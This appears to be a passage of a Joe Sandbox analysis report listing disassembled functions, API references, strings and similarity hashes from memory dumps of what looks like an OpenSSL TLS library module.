Instruction Fuzzy Hash: 44116D21B08A8282F7909B62E9517FAA251AB58FC4F484032DE0D5FBFADE2CF4418300

Function 00007FFE013D9080 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013D90A7
EVP_PKEY_free.LIBCRYPTO-3 ref: 00007FFE013D90B0
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013D90C5

Strings

..\s\ssl\ssl_lib.c, xrefs: 00007FFE013D9096, 00007FFE013D90BB

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_free$Y_free
String ID: ..\s\ssl\ssl_lib.c
API String ID: 3642664693-1080266419
Opcode ID: e234dd0c93516755aabd021aa199a870e28b6beb5a41545b24f52cf64c19e12d
Instruction ID: 172f08fb70a888609d76cce092ce20204ecc09318993c7902531bfebad0da4ab
Opcode Fuzzy Hash: e234dd0c93516755aabd021aa199a870e28b6beb5a41545b24f52cf64c19e12d
Instruction Fuzzy Hash: B3E01A41F0960251FB14AB92E8513B82621AF99B80FC45035EA5D4E7B2DE1CE9858302

Function 00007FFDFF1B8020 Relevance: 6.6, APIs: 5, Instructions: 362COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF1B81B9
memset.VCRUNTIME140 ref: 00007FFDFF1B81CA
memcpy.VCRUNTIME140 ref: 00007FFDFF1B8248
memcpy.VCRUNTIME140 ref: 00007FFDFF1B8260
memset.VCRUNTIME140 ref: 00007FFDFF1B826F

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy$memset
String ID:
API String ID: 438689982-0
Opcode ID: dba73455f6f234f8bbefecc76f180073ee716590355594a84bd531c554655bcd
Instruction ID: 2b2af6d91fb29a0d6d72e72f1e346c7f38005f90285816e2101b51a916c8cdf9
Opcode Fuzzy Hash: dba73455f6f234f8bbefecc76f180073ee716590355594a84bd531c554655bcd
Instruction Fuzzy Hash: 5EE1BC73B19681CAE7A09E25D060BAD67A1FB54B94F048236EF6E477C9DF3DE4468300

Function 00007FFE013B117C Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFE013DCF2A
OPENSSL_LH_retrieve.LIBCRYPTO-3 ref: 00007FFE013DD004
OPENSSL_LH_delete.LIBCRYPTO-3 ref: 00007FFE013DD01B

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: H_deleteH_retrieve_time64
String ID:
API String ID: 406310823-0
Opcode ID: e8cb642e80b92be8d7ce0570800e35ee464f94dafcd24e3133beec1a97a82775
Instruction ID: 12a9fc48bb4a9ef81789483bca4914bffb5e0ddccb70eb5d4e91ea817a0b6042
Opcode Fuzzy Hash: e8cb642e80b92be8d7ce0570800e35ee464f94dafcd24e3133beec1a97a82775
Instruction Fuzzy Hash: 3E511861B1968242EF94AB61785577E6294FF84BC4F496034DE4E4FBE5EE3CE4528300

Function 00007FFE013BF160 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3(?,00007FFE013BD6BE), ref: 00007FFE013BF195
CRYPTO_memdup.LIBCRYPTO-3(?,00007FFE013BD6BE), ref: 00007FFE013BF1D0

Strings

..\s\ssl\s3_lib.c, xrefs: 00007FFE013BF181, 00007FFE013BF1C3

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_freeO_memdup
String ID: ..\s\ssl\s3_lib.c
API String ID: 3962629258-4238427508
Opcode ID: e6e485e1ec6d5b7f480a3d0b9aa6720d9bec8eba1e551b5703d953cc702d3d72
Instruction ID: 7903a55b718fbeabe0bc686d7bb62a382429af32f8540030c044c1ed39574c23
Opcode Fuzzy Hash: e6e485e1ec6d5b7f480a3d0b9aa6720d9bec8eba1e551b5703d953cc702d3d72
Instruction Fuzzy Hash: 5D018431B09B8151EB958B15E8803E8A294FF48BD4F995431EF5C8BB69EF2CD5A18300

Function 00007FFE014089F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE01408A27
CRYPTO_memdup.LIBCRYPTO-3 ref: 00007FFE01408A50

Strings

D:\a\1\s\include\internal/packet.h, xrefs: 00007FFE01408A17, 00007FFE01408A40

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_freeO_memdup
String ID: D:\a\1\s\include\internal/packet.h
API String ID: 3962629258-2521442236
Opcode ID: b37658dcad52b1436dcc0843c4ff8bfc36452bfe40221a3fec933389c799bde5
Instruction ID: a054b57d8f16ff599f79c084042a0d74b037fd99ea4143ef6ea13ebc1d094164
Opcode Fuzzy Hash: b37658dcad52b1436dcc0843c4ff8bfc36452bfe40221a3fec933389c799bde5
Instruction Fuzzy Hash: 3A01FF32B06B5281EB519F52F9806997765FB58BC0F488435EF8C8BB69DF3CE5A18700

Function 00007FFE013CC080 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013CC0B7
CRYPTO_memdup.LIBCRYPTO-3 ref: 00007FFE013CC0E0

Strings

D:\a\1\s\include\internal/packet.h, xrefs: 00007FFE013CC0A7, 00007FFE013CC0D0

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_freeO_memdup
String ID: D:\a\1\s\include\internal/packet.h
API String ID: 3962629258-2521442236
Opcode ID: 5859aadcf2b4eeb33330b57652adaf2f05903adc2a3a2321bbe026c1439f3e30
Instruction ID: e9b1376914f4049d355758c0b86753dc2b1abe9db938fadc7e26bde920b160da
Opcode Fuzzy Hash: 5859aadcf2b4eeb33330b57652adaf2f05903adc2a3a2321bbe026c1439f3e30
Instruction Fuzzy Hash: 5D012C32B0AB9281EB509F02E8806997364FB59B80F489031EF8C8BB65DF3CE5918700

Function 00007FFE013B11A9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

EVP_MAC_CTX_free.LIBCRYPTO-3 ref: 00007FFE013E5139
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013E5156

Strings

..\s\ssl\t1_lib.c, xrefs: 00007FFE013E514C

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_freeX_free
String ID: ..\s\ssl\t1_lib.c
API String ID: 2813942177-1643863364
Opcode ID: cd9c58a908ead8263f7d5708fc4cde71f4cc44746c97003444a512d6895432ea
Instruction ID: 46b5e6e27da4f796c2802aa396e216e3f34b3454561ebcbbfc9509c61bd9e691
Opcode Fuzzy Hash: cd9c58a908ead8263f7d5708fc4cde71f4cc44746c97003444a512d6895432ea
Instruction Fuzzy Hash: A0E01259F0E60745FF54B6A2A8612F802505F55784FD95034ED0E8E7F3BE1CF5408201

Function 00007FFE013FE190 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013FE1C6

Strings

..\s\ssl\statem\extensions.c, xrefs: 00007FFE013FE1B2

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_free
String ID: ..\s\ssl\statem\extensions.c
API String ID: 2581946324-1165805907
Opcode ID: b04a898bd4c575f3f5f68745acd2f80a0aa9fca2e7054a52a570b872af7a3398
Instruction ID: a5eae05dd9f8d754d42c9118a361cd92ff2b9cfa17e6ad250435a70b966724c4
Opcode Fuzzy Hash: b04a898bd4c575f3f5f68745acd2f80a0aa9fca2e7054a52a570b872af7a3398
Instruction Fuzzy Hash: CAE08671F0268086F710AB95E8987D82350FB05749F981034D90D4F7F1EF7E95868711

Function 00007FFE013B198D Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

CRYPTO_THREAD_write_lock.LIBCRYPTO-3 ref: 00007FFE013CE460
CRYPTO_THREAD_unlock.LIBCRYPTO-3 ref: 00007FFE013CE482

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: D_unlockD_write_lock
String ID:
API String ID: 1724170673-0
Opcode ID: 83ed847967be068255eef3c865b8ab197e0ec3332e5960d83272749631eeb163
Instruction ID: 8fbc9df1b88dbdac8ae44ce43ad67b793264cb97f8df65affd6e83eb97863d19
Opcode Fuzzy Hash: 83ed847967be068255eef3c865b8ab197e0ec3332e5960d83272749631eeb163
Instruction Fuzzy Hash: 7EE06562F1868141E7409B55F5812BDA254EB98BC8F590031FF5D4F7BAEE1CC5914741

Function 00007FFE013B21DF Relevance: 1.6, APIs: 1, Instructions: 87COMMON

Download Yara Rule

APIs

CRYPTO_memcmp.LIBCRYPTO-3 ref: 00007FFE013D3187

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_memcmp
String ID:
API String ID: 2788248766-0
Opcode ID: 3502cd6564c585f013cbfeca286bdd5201afba705f781fa75db7524b92a08b90
Instruction ID: 4ecbf50d03d354bda5ffb2a3e6996acbc7c98f04421758ba42faa3c3c7a74974
Opcode Fuzzy Hash: 3502cd6564c585f013cbfeca286bdd5201afba705f781fa75db7524b92a08b90
Instruction Fuzzy Hash: F231C062A0DB9281E7129F25FC0426AB7A4F744B98F498031EECD4BBA4DF3DD952C701

Function 00007FFE013F09B0 Relevance: 56.2, APIs: 21, Strings: 11, Instructions: 185COMMON

Download Yara Rule

APIs

EVP_MD_get0_name.LIBCRYPTO-3 ref: 00007FFE013F0A08
EVP_KDF_fetch.LIBCRYPTO-3 ref: 00007FFE013F0A28
EVP_KDF_CTX_new.LIBCRYPTO-3 ref: 00007FFE013F0A33
EVP_KDF_free.LIBCRYPTO-3 ref: 00007FFE013F0A3E
ERR_new.LIBCRYPTO-3 ref: 00007FFE013F0A48
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013F0A60
EVP_MD_get_size.LIBCRYPTO-3 ref: 00007FFE013F0A85
ERR_new.LIBCRYPTO-3 ref: 00007FFE013F0A8E
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013F0AA6
EVP_KDF_CTX_free.LIBCRYPTO-3 ref: 00007FFE013F0AC4

Strings

prefix, xrefs: 00007FFE013F0BDA
..\s\ssl\tls13_enc.c, xrefs: 00007FFE013F0A59, 00007FFE013F0A9F, 00007FFE013F0C89
tls13_generate_secret, xrefs: 00007FFE013F0A4D, 00007FFE013F0A93, 00007FFE013F0C7D
label, xrefs: 00007FFE013F0BF8
derived, xrefs: 00007FFE013F0BF1
digest, xrefs: 00007FFE013F0AEC
salt, xrefs: 00007FFE013F0B9D
TLS13-KDF, xrefs: 00007FFE013F0A14
key, xrefs: 00007FFE013F0B54
tls13 , xrefs: 00007FFE013F0BD3
mode, xrefs: 00007FFE013F0AD8

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug$D_get0_nameD_get_sizeF_fetchF_freeX_freeX_new
String ID: ..\s\ssl\tls13_enc.c$TLS13-KDF$derived$digest$key$label$mode$prefix$salt$tls13 $tls13_generate_secret
API String ID: 2603205826-1355147087
Opcode ID: 8d763159b971ece7f60506b29be84e16247facd842a8a046acd4d51518242364
Instruction ID: 0e788341c040334784c6e83c62e5ddd902c2f37425dd6b9ef7ecc5087845b7b5
Opcode Fuzzy Hash: 8d763159b971ece7f60506b29be84e16247facd842a8a046acd4d51518242364
Instruction Fuzzy Hash: 05819E52E08B8682E711DF65D8512F96761FFA9B88F409231EE4C1B677EF2CE1C58700

Function 00007FFE013E7180 Relevance: 31.9, APIs: 15, Strings: 3, Instructions: 366COMMON

Download Yara Rule

Strings

DSA, xrefs: 00007FFE013E763C
RSA, xrefs: 00007FFE013E7621
gfffffff, xrefs: 00007FFE013E71E7

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID:
String ID: DSA$RSA$gfffffff
API String ID: 0-2263753174
Opcode ID: ca976190507b614406749862557b56f35272a866cf4a4cc691a9b4326af388e9
Instruction ID: 03badcbbf49b101f0fb34338946513eabfce45f7718790f2e1d0b3303aeaff71
Opcode Fuzzy Hash: ca976190507b614406749862557b56f35272a866cf4a4cc691a9b4326af388e9
Instruction Fuzzy Hash: 7FD1AF21A0C78385FF689A26A5503BA36D5BF647D8F160031DE4E9F7F9EE3CE4418681

Function 00007FFE013CAA00 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 173COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013CAA23
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013CAA3B
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013CAA4D
ERR_new.LIBCRYPTO-3 ref: 00007FFE013CAAB3
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013CAACB
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013CAADD

Strings

<EMPTY>, xrefs: 00007FFE013CAC15
SSL_CONF_cmd, xrefs: 00007FFE013CAA28, 00007FFE013CABF8, 00007FFE013CAC5A
ctrl_switch_option, xrefs: 00007FFE013CAAB8
cmd=%s, xrefs: 00007FFE013CAC77
cmd=%s, value=%s, xrefs: 00007FFE013CAC1F
..\s\ssl\ssl_conf.c, xrefs: 00007FFE013CAA34, 00007FFE013CAAC4, 00007FFE013CAC04, 00007FFE013CAC66

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ..\s\ssl\ssl_conf.c$<EMPTY>$SSL_CONF_cmd$cmd=%s$cmd=%s, value=%s$ctrl_switch_option
API String ID: 1552677711-2097058995
Opcode ID: e319e27fe40e647e3f244abde80eac25d5c14b5325c085d734663c925ea3fa4d
Instruction ID: 6d3fdf96c6be2d7d0c8058c23fc12b77ee284593a5b4656833e36fe5bc6c48ee
Opcode Fuzzy Hash: e319e27fe40e647e3f244abde80eac25d5c14b5325c085d734663c925ea3fa4d
Instruction Fuzzy Hash: 7661A662F1CA4682FB409B99F4013F9A3A1EB85794F494031DE4C4BBF6EE7CD9818741

Function 00007FFE013B109B Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 142COMMON

Download Yara Rule

APIs

OPENSSL_sk_new.LIBCRYPTO-3 ref: 00007FFE0141E64C
ERR_new.LIBCRYPTO-3 ref: 00007FFE0141E65B
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0141E673
OPENSSL_sk_push.LIBCRYPTO-3 ref: 00007FFE0141E73E
OPENSSL_sk_pop_free.LIBCRYPTO-3 ref: 00007FFE0141E75A
OPENSSL_sk_pop_free.LIBCRYPTO-3 ref: 00007FFE0141E83D
X509_NAME_free.LIBCRYPTO-3 ref: 00007FFE0141E845

Strings

parse_ca_names, xrefs: 00007FFE0141E665, 00007FFE0141E784, 00007FFE0141E7A9, 00007FFE0141E7CE, 00007FFE0141E805
..\s\ssl\statem\statem_lib.c, xrefs: 00007FFE0141E66C, 00007FFE0141E790, 00007FFE0141E7B5, 00007FFE0141E7DA, 00007FFE0141E811

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: L_sk_pop_free$E_freeL_sk_newL_sk_pushR_newR_set_debugX509_
String ID: ..\s\ssl\statem\statem_lib.c$parse_ca_names
API String ID: 3454744561-1744826974
Opcode ID: 3dc30979829a02e3f1d5c8d627f1a29548bede16a61c6a6dbdc5d78fc3ec5196
Instruction ID: 70b341c0523a1defec0912f87f579109f99de89cd663b9c8c65c49ade9bd550b
Opcode Fuzzy Hash: 3dc30979829a02e3f1d5c8d627f1a29548bede16a61c6a6dbdc5d78fc3ec5196
Instruction Fuzzy Hash: B351C265F0C68282FB51ABA1E8112FE5351FFA4780F848435EE8D1FAB6DE3CE1818741

Function 00007FFE013C0190 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 101COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013C01C6
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013C01DE
EVP_PKEY_CTX_new_from_name.LIBCRYPTO-3 ref: 00007FFE013C0213
ERR_new.LIBCRYPTO-3 ref: 00007FFE013C0220
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013C0238
EVP_PKEY_CTX_free.LIBCRYPTO-3 ref: 00007FFE013C033B

Strings

ssl_generate_pkey_group, xrefs: 00007FFE013C01CB, 00007FFE013C0225, 00007FFE013C0269, 00007FFE013C02B1, 00007FFE013C02F7
..\s\ssl\s3_lib.c, xrefs: 00007FFE013C01D7, 00007FFE013C0231, 00007FFE013C0275, 00007FFE013C02BD, 00007FFE013C0303

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
